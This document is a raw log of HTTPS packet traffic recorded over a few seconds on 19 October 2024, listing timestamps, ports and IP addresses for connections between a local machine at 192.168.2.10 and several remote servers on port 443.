Oct 19, 2024 00:14:36.219432116 CEST	50070	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:36.219451904 CEST	443	50070	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:36.219818115 CEST	443	50070	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:36.220120907 CEST	50070	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:36.220171928 CEST	443	50070	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:36.220263004 CEST	50070	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:36.263401031 CEST	443	50070	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:36.289283991 CEST	443	50069	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.289319038 CEST	443	50069	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.289372921 CEST	443	50069	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.289427996 CEST	50069	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.289485931 CEST	50069	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.289761066 CEST	50069	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.289778948 CEST	443	50069	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.289812088 CEST	50069	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.289818048 CEST	443	50069	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.290781975 CEST	443	50068	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.290807962 CEST	443	50068	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.290872097 CEST	443	50068	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.290891886 CEST	50068	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.290915966 CEST	50068	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.291196108 CEST	50068	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.291213989 CEST	443	50068	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.291224957 CEST	50068	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.291230917 CEST	443	50068	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.292893887 CEST	50073	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.292937040 CEST	443	50073	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.293064117 CEST	50073	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.293064117 CEST	50074	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.293090105 CEST	443	50074	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.293195963 CEST	50074	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.293268919 CEST	50073	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.293268919 CEST	50074	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.293279886 CEST	443	50073	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.293292046 CEST	443	50074	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.306704044 CEST	443	50065	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.306732893 CEST	443	50065	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.306747913 CEST	443	50065	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.307017088 CEST	50065	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.307030916 CEST	443	50065	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.307204008 CEST	50065	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.307727098 CEST	443	50065	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.307780981 CEST	443	50065	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.307825089 CEST	50065	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.307825089 CEST	50065	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.307872057 CEST	50065	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.307872057 CEST	50065	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.307884932 CEST	443	50065	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.307893038 CEST	443	50065	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.310467958 CEST	50075	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.310508013 CEST	443	50075	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.310587883 CEST	50075	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.310734987 CEST	50075	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.310751915 CEST	443	50075	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.338778973 CEST	443	50067	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.338807106 CEST	443	50067	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.338845015 CEST	443	50067	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.338946104 CEST	50067	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.338974953 CEST	443	50067	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.339027882 CEST	50067	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.358576059 CEST	443	50070	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:36.359512091 CEST	443	50070	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:36.360279083 CEST	50070	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:36.360528946 CEST	50070	443	192.168.2.10	13.107.246.44
Oct 19, 2024 00:14:36.360549927 CEST	443	50070	13.107.246.44	192.168.2.10
Oct 19, 2024 00:14:36.370239019 CEST	443	50064	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:36.370636940 CEST	443	50064	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:36.370698929 CEST	443	50064	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:36.370757103 CEST	50064	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:36.370757103 CEST	50064	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:36.371639967 CEST	50064	443	192.168.2.10	152.199.21.175
Oct 19, 2024 00:14:36.371659040 CEST	443	50064	152.199.21.175	192.168.2.10
Oct 19, 2024 00:14:36.455988884 CEST	443	50067	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.456031084 CEST	443	50067	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.456099033 CEST	443	50067	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.456151962 CEST	50067	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.456212997 CEST	50067	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.456410885 CEST	50067	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.456432104 CEST	443	50067	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.456449032 CEST	50067	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.456459045 CEST	443	50067	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.459430933 CEST	50076	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.459464073 CEST	443	50076	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.460589886 CEST	50076	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.461092949 CEST	50076	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.461106062 CEST	443	50076	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.827007055 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.827362061 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:36.827397108 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.827754974 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.828108072 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:36.828185081 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.828254938 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:36.869394064 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:36.869410038 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.943044901 CEST	443	50072	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.943686008 CEST	50072	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.943706036 CEST	443	50072	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.944144011 CEST	50072	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:36.944148064 CEST	443	50072	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:36.979131937 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.979191065 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.979233980 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.979289055 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:36.979300976 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.979315996 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.979378939 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.979485035 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.979659081 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.979691029 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.979748011 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:36.979748011 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:36.979748011 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:36.979764938 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:36.979872942 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:36.985304117 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.025521994 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.025768042 CEST	443	50074	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.026493073 CEST	50074	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.026508093 CEST	443	50074	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.026948929 CEST	50074	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.026957035 CEST	443	50074	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.044419050 CEST	443	50073	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.045039892 CEST	50073	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.045051098 CEST	443	50073	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.045557976 CEST	50073	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.045562029 CEST	443	50073	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.058676958 CEST	443	50075	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.059165955 CEST	50075	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.059197903 CEST	443	50075	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.059541941 CEST	50075	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.059546947 CEST	443	50075	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.075618982 CEST	443	50072	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.075831890 CEST	443	50072	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.075957060 CEST	50072	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.076143026 CEST	50072	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.076143026 CEST	50072	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.076159954 CEST	443	50072	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.076169014 CEST	443	50072	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.078778982 CEST	50077	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.078816891 CEST	443	50077	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.078926086 CEST	50077	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.079034090 CEST	50077	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.079042912 CEST	443	50077	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.099168062 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.099250078 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.099314928 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.099497080 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.099509954 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.099520922 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.099591970 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.099605083 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.099705935 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.099720955 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.100399017 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.100451946 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.100528002 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.100543022 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.100589037 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.158859015 CEST	443	50074	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.158996105 CEST	443	50074	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.159082890 CEST	50074	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.159281969 CEST	50074	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.159298897 CEST	443	50074	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.159313917 CEST	50074	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.159321070 CEST	443	50074	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.162647963 CEST	50078	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.162688971 CEST	443	50078	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.162816048 CEST	50078	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.163006067 CEST	50078	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.163017988 CEST	443	50078	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.180275917 CEST	443	50073	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.180372000 CEST	443	50073	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.180576086 CEST	50073	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.180644035 CEST	50073	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.180668116 CEST	443	50073	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.180684090 CEST	50073	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.180690050 CEST	443	50073	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.184004068 CEST	50079	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.184047937 CEST	443	50079	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.184145927 CEST	50079	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.184387922 CEST	50079	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.184405088 CEST	443	50079	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.190871954 CEST	443	50075	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.190944910 CEST	443	50075	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.191194057 CEST	50075	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.191241026 CEST	50075	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.191263914 CEST	443	50075	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.191276073 CEST	50075	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.191281080 CEST	443	50075	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.194480896 CEST	50080	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.194520950 CEST	443	50080	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.194621086 CEST	50080	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.194875956 CEST	50080	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.194894075 CEST	443	50080	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.219367027 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.219465971 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.219594955 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.219604969 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.219618082 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.219805956 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.219822884 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.219862938 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.219965935 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.220124006 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.220135927 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.220216036 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.220588923 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.220695972 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.220738888 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.220813990 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.220824003 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.220885038 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.221607924 CEST	443	50076	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.222202063 CEST	50076	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.222229004 CEST	443	50076	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.222744942 CEST	50076	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.222755909 CEST	443	50076	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.339597940 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.339689016 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.340050936 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.340073109 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.340095043 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.340325117 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.340358973 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.340375900 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.340385914 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.340492010 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.340734005 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.340837955 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.340846062 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.358762980 CEST	443	50076	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.358786106 CEST	443	50076	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.358844042 CEST	443	50076	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.358869076 CEST	50076	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.358921051 CEST	50076	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.359147072 CEST	50076	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.359169960 CEST	443	50076	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.359184980 CEST	50076	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.359191895 CEST	443	50076	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.385787010 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.459743023 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.459871054 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.459904909 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.459924936 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.459954977 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.460036993 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.460042000 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.460675001 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.462018013 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.462040901 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.462107897 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.503643036 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.503897905 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.579737902 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.579821110 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.580167055 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.580357075 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.580586910 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.580682993 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.623400927 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.623516083 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.699893951 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.700011015 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.700026989 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.700054884 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.700095892 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.700164080 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.700679064 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.700793982 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.701077938 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.701255083 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.745527029 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.745723009 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.820128918 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.820321083 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.820435047 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.820435047 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.820452929 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.820545912 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.821140051 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.821218967 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.827891111 CEST	443	50077	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.828661919 CEST	50077	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.828689098 CEST	443	50077	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.829427004 CEST	50077	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.829433918 CEST	443	50077	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.863768101 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.863852978 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.863961935 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.863986015 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.864005089 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.898667097 CEST	443	50078	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.899410009 CEST	50078	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.899435997 CEST	443	50078	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.899897099 CEST	50078	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.899907112 CEST	443	50078	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.916165113 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.934093952 CEST	443	50079	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.934822083 CEST	50079	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.934849024 CEST	443	50079	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.935239077 CEST	50079	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.935245991 CEST	443	50079	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.940498114 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.940645933 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.940695047 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.940754890 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.940980911 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.941052914 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:37.951792002 CEST	443	50080	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.952445984 CEST	50080	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.952471972 CEST	443	50080	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.952950001 CEST	50080	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.952958107 CEST	443	50080	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.962682009 CEST	443	50077	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.962896109 CEST	443	50077	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.963135958 CEST	50077	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.963135958 CEST	50077	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.963187933 CEST	50077	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:37.963207006 CEST	443	50077	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:37.983752012 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:37.983916998 CEST	50071	443	192.168.2.10	104.17.24.14
Oct 19, 2024 00:14:38.035813093 CEST	443	50078	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:38.035876036 CEST	443	50078	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:38.035979033 CEST	50078	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:38.036247015 CEST	50078	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:38.036247015 CEST	50078	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:38.036266088 CEST	443	50078	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:38.036271095 CEST	443	50078	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:38.060743093 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:38.060791016 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:38.060914993 CEST	443	50071	104.17.24.14	192.168.2.10
Oct 19, 2024 00:14:38.061453104 CEST	50071	443	192.168.2.10	104.17.24.14
